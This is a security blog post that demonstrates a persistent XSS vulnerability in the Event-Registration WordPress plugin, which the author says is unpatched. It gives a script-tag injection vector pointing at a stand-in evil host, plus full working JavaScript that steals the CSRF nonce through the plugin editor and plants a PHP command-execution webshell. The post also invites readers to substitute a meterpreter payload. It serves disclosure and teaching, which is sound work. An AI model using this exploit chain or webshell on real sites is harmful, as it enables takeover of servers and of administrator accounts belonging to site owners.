Hacking Wordpress via XSS (Plugin: Event-Registration)

So here is another Wordpress Plugin vulnerability and its a nice one since its “just” XSS, but persistent XSS. And because it’s persistent you do have plenty of time and opportunities to exploit it. The plugin also contains a SQL injection vulnerability (the full description can be found at BugTraq), but I’m going to focus on exploiting the XSS, which seems more fun to do in this case.

The plugin has been removed from the Wordpress Plugin Directory shortly after the Wordpress Security Team got notified of the issues. It’s a not so well known plugin with around 6K installations but to my knowledge, the vulnerability hasn’t been fixed. It’s source can be found here. (You can also still find the original plugin page in the wayback machine.)

The persistent XSS vulnerability is in the attendee’s first name and last name fields on registration confirmation (evr_public-process_confirmation.php). Quotes are escaped but the following vector still succeeds and is executed e.g. in Firefox and Chrome:

<script src=http://evil.example.com/evil.js></script>

When injected as first name or last name on the attendee’s registration confirmation page (2. step in the attendee’s default registration process), the injected script gets loaded as soon as a backend user visits the list of attendees.

Here is a little video this time:

As you can see, the injected script gets triggered without any notice to the victim. Just wait for an user with apropriate rights.

I also want to give an explanation on the evil.js script used in the video: It exploits the Wordpress Plugin editor feature to inject a simple webshell into an unused file of the vulnerable plugin. You could use other files for your injection as well and you should, if you use this script to exploit other vulnerabilities.

This is the code (have a look at the GitHub link below for a clean version - I renamed it to attack.js):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var ajax = new XMLHttpRequest();
ajax.open("GET","/wp-admin/plugin-editor.php?file=event-registration%2Fevent%2Findex.php&plugin=event-registration%2FEVNTREG.php",true);
ajax.onreadystatechange = function(){
  if(this.readyState == 4){
    if(this.status == 200){
	    var re = /id="_wpnonce" name="_wpnonce" value="(\w+)"/;
		var result = this.responseText.match(re);
		var nonce = result[1];

		ajax.open("POST","/wp-admin/plugin-editor.php?file=event-registration%2Fevent%2Findex.php&plugin=event-registration%2FEVNTREG.php",true);

		var params = "newcontent=<?php die(exec($_GET['cmd']));";
		params += "&_wpnonce=" + nonce + "&action=update&file=event-registration/event/index.php&plugin=event-registration/event/index.php&scrollto=0&submit=Datei aktualisieren";

		ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
		ajax.setRequestHeader("Content-length", params.length);
		ajax.setRequestHeader("Connection", "close");

		ajax.send(params);
	}
  }
}
ajax.send();

View on GitHub.

Everything just basic XMLHttpRequest / Javascript stuff, just a few notes:

  1. We first call the Wordpress Plugin Editor form page to retrieve a Nonce that Wordpress uses for CSRF-Protection (line: 2).
  2. We use a simple regex to extract the token from the HTML response (line 7+)
  3. We then use that token to create another POST request that contains our webshell (line 13). We set some appropriate request headers and send it (line 20).

No magic here. The script uses only standard Wordpress features and circumvents the CSRF protection by getting the Nonce first.

In this way, we manage to inject a webshell (you are free to inject whatever you like - what about a decent meterpreter payload here?) and are now able to attack the server further. We could also opt for another direction and start attacking clients, though that would not be a nice thing to do.

Also note that our injection does not get filtered by any of the major browsers. It creates just valid HTML and Javascript. We don’t need to bypass any URL filters, we got a premium place in the database!

Remember when they told you that XSS is just a “minor” vulnerability?

It’s not.

Update: The issue even made it to Heise security. However, contrary to what Heise states, there has been a (standard) response by the wordpress plugin security team.